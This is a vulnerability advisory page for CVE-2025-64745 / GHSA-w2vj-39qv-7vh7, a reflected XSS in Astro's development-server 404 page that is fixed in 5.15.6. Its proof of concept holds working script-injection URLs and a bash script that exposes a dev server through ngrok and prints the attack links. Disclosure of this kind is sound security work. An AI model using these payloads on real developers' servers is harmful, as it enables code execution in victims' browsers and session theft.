github - ghsa-w2vj-39qv-7vh7

GHSA-W2VJ-39QV-7VH7

Vulnerability from github – Published: 2025-11-13 22:38 – Updated: 2025-11-27 08:12

Summary

Astro development server error page is vulnerable to reflected Cross-site Scripting

Details

Summary

A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the trailingSlash configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.

Details

Vulnerability Location

https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149

Root Cause

The vulnerability was introduced in commit 536175528 (PR #12994) , as part of a feature to "redirect trailing slashes on on-demand rendered pages." The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.

Issue: The corrected variable, which is derived from the user-controlled pathname parameter, is directly interpolated into the HTML without proper escaping. While the pathname variable itself is escaped elsewhere in the same file (line 114: escape(pathname)), the corrected variable is not sanitized before being inserted into both the href attribute and the link text.

Attack Vector

When a developer has configured trailingSlash to 'always' or 'never' and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.

PoC

Local Testing (localhost)

Basic vulnerability verification in local development environment

Show details `astro.config.mjs`:

import { defineConfig } from 'astro/config';

export default defineConfig({
  trailingSlash: 'never', // or 'always'
  server: {
    port: 3000,
    host: true
  }
});

`package.json`:

{
  "name": "astro-xss-poc-victim",
  "version": "0.1.0",
  "scripts": {
    "dev": "astro dev"
  },
  "dependencies": {
    "astro": "5.15.5"
  }
}

Start the development server:

npm install
npm run dev

Access the following malicious URL depending on your configuration: **For `trailingSlash: 'never'`** (requires trailing slash):

http://localhost:3000/"></code><script>alert(document.domain)</script><!--/

**For `trailingSlash: 'always'`** (no trailing slash):

http://localhost:3000/"></code><script>alert(document.domain)</script><!--

When accessing the malicious URL: 1. The development server returns a 404 page due to trailing slash mismatch 2. The JavaScript payload (`alert(document.domain)`) executes in the browser 3. An alert dialog appears, demonstrating arbitrary code execution

Remote Testing (ngrok)

Reproduce realistic attack scenario via external malicious link

Show details Prerequisites: ngrok account and authtoken configured (`ngrok config add-authtoken `) Setup and Execution:

#!/bin/bash
set -e

mkdir -p logs

npm i
npm run dev > ./logs/victim.log 2>&1 &

ngrok http 3000 > ./logs/ngrok.log 2>&1 &

sleep 3

NGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"public_url":"https://[^"]*' | head -1 | cut -d'"' -f4)
echo ""
echo "=== Attack URLs ==="
echo ""
echo "For trailingSlash: 'never' (requires trailing slash):"
echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--/"
echo ""
echo "For trailingSlash: 'always' (no trailing slash):"
echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--"
echo ""
wait

When a remote user accesses either of the generated attack URLs: 1. The request is tunneled through ngrok to the local development server 2. The development server returns a 404 page due to trailing slash mismatch 3. The JavaScript payload (`alert(document.domain)`) executes in the user's browser Both URL patterns work depending on your `trailingSlash` configuration ('never' or 'always').

Impact

This only affects the development server. Risk depends on how and where the dev server is exposed.

Security impact

Developer environment compromise: Visiting a crafted URL can run arbitrary JS in the developer's browser.
Session hijacking: Active developer sessions can be stolen if services are open in the browser.
Local resource access: JS may probe localhost endpoints or dev tools depending on browser policies.
Supply-chain risk: Malicious packages or CI that start dev servers can widen exposure.

Attack scenarios

Social engineering: Malicious link sent to a developer triggers the XSS when opened.
Malicious documentation: Attack URLs embedded in issues, PRs, chat, or docs.
Dependency/CI abuse: Packages or automation that spawn public dev servers expose many targets.

Severity ?

2.7 (Low)


                  
                    CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "astro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.2.0"
            },
            {
              "fixed": "5.15.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64745"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-13T22:38:30Z",
    "nvd_published_at": "2025-11-13T21:15:54Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\nA Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro\u0027s development server error pages when the `trailingSlash` configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim\u0027s browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.\n\n## Details\n\n### Vulnerability Location\n\nhttps://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149\n\n### Root Cause\n\nThe vulnerability was introduced in commit `536175528` (PR #12994) , as part of a feature to \"redirect trailing slashes on on-demand rendered pages.\" The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.\n\n**Issue**: The `corrected` variable, which is derived from the user-controlled `pathname` parameter, is directly interpolated into the HTML without proper escaping. While the `pathname` variable itself is escaped elsewhere in the same file (line 114: `escape(pathname)`), the `corrected` variable is not sanitized before being inserted into both the `href` attribute and the link text.\n\n### Attack Vector\n\nWhen a developer has configured `trailingSlash` to `\u0027always\u0027` or `\u0027never\u0027` and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.\n\n## PoC\n\n### Local Testing (localhost)\n\nBasic vulnerability verification in local development environment\n\n\u003cdetails\u003e\n\u003csummary\u003eShow details\u003c/summary\u003e\n\n`astro.config.mjs`:\n```javascript\nimport { defineConfig } from \u0027astro/config\u0027;\n\nexport default defineConfig({\n  trailingSlash: \u0027never\u0027, // or \u0027always\u0027\n  server: {\n    port: 3000,\n    host: true\n  }\n});\n```\n\n`package.json`:\n```json\n{\n  \"name\": \"astro-xss-poc-victim\",\n  \"version\": \"0.1.0\",\n  \"scripts\": {\n    \"dev\": \"astro dev\"\n  },\n  \"dependencies\": {\n    \"astro\": \"5.15.5\"\n  }\n}\n```\n\nStart the development server:\n```bash\nnpm install\nnpm run dev\n```\n\nAccess the following malicious URL depending on your configuration:\n\n**For `trailingSlash: \u0027never\u0027`** (requires trailing slash):\n```\nhttp://localhost:3000/\"\u003e\u003c/code\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c!--/\n```\n\n**For `trailingSlash: \u0027always\u0027`** (no trailing slash):\n```\nhttp://localhost:3000/\"\u003e\u003c/code\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c!--\n```\n\nWhen accessing the malicious URL:\n1. The development server returns a 404 page due to trailing slash mismatch\n2. The JavaScript payload (`alert(document.domain)`) executes in the browser\n3. An alert dialog appears, demonstrating arbitrary code execution\n\n\u003c/details\u003e\n\n### Remote Testing (ngrok)\n\nReproduce realistic attack scenario via external malicious link\n\n\u003cdetails\u003e\n\u003csummary\u003eShow details\u003c/summary\u003e\n\nPrerequisites: ngrok account and authtoken configured (`ngrok config add-authtoken \u003ckey\u003e`)\n\nSetup and Execution:\n```bash\n#!/bin/bash\nset -e\n\nmkdir -p logs\n\nnpm i\nnpm run dev \u003e ./logs/victim.log 2\u003e\u00261 \u0026\n\nngrok http 3000 \u003e ./logs/ngrok.log 2\u003e\u00261 \u0026\n\nsleep 3\n\nNGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o \u0027\"public_url\":\"https://[^\"]*\u0027 | head -1 | cut -d\u0027\"\u0027 -f4)\necho \"\"\necho \"=== Attack URLs ===\"\necho \"\"\necho \"For trailingSlash: \u0027never\u0027 (requires trailing slash):\"\necho \"${NGROK_URL}/\\\"\u003e\u003c/code\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c!--/\"\necho \"\"\necho \"For trailingSlash: \u0027always\u0027 (no trailing slash):\"\necho \"${NGROK_URL}/\\\"\u003e\u003c/code\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c!--\"\necho \"\"\nwait\n```\n\nWhen a remote user accesses either of the generated attack URLs:\n1. The request is tunneled through ngrok to the local development server\n2. The development server returns a 404 page due to trailing slash mismatch\n3. The JavaScript payload (`alert(document.domain)`) executes in the user\u0027s browser\n\nBoth URL patterns work depending on your `trailingSlash` configuration (\u0027never\u0027 or \u0027always\u0027).\n\n\u003c/details\u003e\n\n## Impact\n\nThis only affects the **development server**. Risk depends on how and where the dev server is exposed.\n\n### Security impact\n\n* **Developer environment compromise**: Visiting a crafted URL can run arbitrary JS in the developer\u0027s browser.\n* **Session hijacking**: Active developer sessions can be stolen if services are open in the browser.\n* **Local resource access**: JS may probe `localhost` endpoints or dev tools depending on browser policies.\n* **Supply-chain risk**: Malicious packages or CI that start dev servers can widen exposure.\n\n### Attack scenarios\n\n* **Social engineering**: Malicious link sent to a developer triggers the XSS when opened.\n* **Malicious documentation**: Attack URLs embedded in issues, PRs, chat, or docs.\n* **Dependency/CI abuse**: Packages or automation that spawn public dev servers expose many targets.",
  "id": "GHSA-w2vj-39qv-7vh7",
  "modified": "2025-11-27T08:12:32Z",
  "published": "2025-11-13T22:38:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-w2vj-39qv-7vh7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64745"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/pull/12994"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/commit/790d9425f39bbbb462f1c27615781cd965009f91"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Astro development server error page is vulnerable to reflected Cross-site Scripting"
}

CVE-2025-64745 (GCVE-0-2025-64745)

Vulnerability from cvelistv5 – Published: 2025-11-13 20:26 – Updated: 2025-11-13 21:20

Summary

Astro is a web framework. Starting in version 5.2.0 and prior to version 5.15.6, a Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the `trailingSlash` configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links. Version 5.15.6 fixes the issue.

Severity ?

2.7 (Low)


                        
                          CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/withastro/astro/security/advis…	x_refsource_CONFIRM
	https://github.com/withastro/astro/pull/12994	x_refsource_MISC
	https://github.com/withastro/astro/commit/790d942…	x_refsource_MISC
	https://github.com/withastro/astro/blob/5bc37fd5c…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	withastro	astro	Affected: >= 5.2.0, < 5.15.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-64745",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-11-13T21:19:45.808705Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
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        "providerMetadata": {
          "dateUpdated": "2025-11-13T21:20:30.228Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "astro",
          "vendor": "withastro",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 5.2.0, \u003c 5.15.6"
            }
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      "descriptions": [
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          "value": "Astro is a web framework. Starting in version 5.2.0 and prior to version 5.15.6, a Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro\u0027s development server error pages when the `trailingSlash` configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim\u0027s browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links. Version 5.15.6 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 2.7,
            "baseSeverity": "LOW",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N",
            "version": "3.1"
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      ],
      "problemTypes": [
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          "descriptions": [
            {
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              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
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              "type": "CWE"
            }
          ]
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        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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          "url": "https://github.com/withastro/astro/security/advisories/GHSA-w2vj-39qv-7vh7"
        },
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          "url": "https://github.com/withastro/astro/pull/12994"
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          "tags": [
            "x_refsource_MISC"
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          "url": "https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149"
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      "source": {
        "advisory": "GHSA-w2vj-39qv-7vh7",
        "discovery": "UNKNOWN"
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      "title": "Astro development server error page vulnerable to reflected Cross-site Scripting"
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  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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    "datePublished": "2025-11-13T20:26:13.261Z",
    "dateReserved": "2025-11-10T22:29:34.871Z",
    "dateUpdated": "2025-11-13T21:20:30.228Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-W2VJ-39QV-7VH7

Summary

Details

Vulnerability Location

Root Cause

Attack Vector

PoC

Local Testing (localhost)

Remote Testing (ngrok)

Impact

Security impact

Attack scenarios

CVE-2025-64745 (GCVE-0-2025-64745)

Tags

Sightings

Nomenclature